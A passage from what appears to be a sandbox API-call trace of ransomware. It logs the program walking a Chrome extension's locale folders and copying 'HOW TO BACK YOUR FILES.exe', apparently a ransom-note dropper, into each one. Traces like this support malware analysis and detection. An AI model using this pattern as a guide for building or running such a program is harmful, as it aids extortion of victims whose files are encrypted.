	[0049.198] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\lt\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8528a390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35654350, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35654350, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.198] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.198] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.198] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko"
	[0049.198] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko"
	[0049.198] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.198] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.202] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.202] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ko\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35654350, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35654350, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.203] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.203] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.203] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja"
	[0049.203] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja"
	[0049.203] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.203] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.210] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.210] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3567a4b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3567a4b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.210] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.210] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.210] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it"
	[0049.210] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it"
	[0049.211] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.211] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.218] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.218] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3567a4b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3567a4b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.218] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.218] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.218] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id"
	[0049.218] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id"
	[0049.218] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.218] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.224] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.224] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\id\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x356a0610, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x356a0610, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.224] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.224] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.224] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu"
	[0049.224] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu"
	[0049.224] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.224] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.228] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.229] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x356a0610, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x356a0610, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.229] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.229] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.229] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr"
	[0049.229] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr"
	[0049.229] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.229] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.233] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.233] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85264230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x356a0610, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x356a0610, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.234] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.234] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.234] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi"
	[0049.234] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi"
	[0049.234] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.234] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.238] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.238] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x356c6770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x356c6770, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.238] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.238] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.238] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he"
	[0049.238] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he"
	[0049.238] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.238] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.243] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.243] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8523e0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x356c6770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x356c6770, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.243] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.243] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.243] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr"
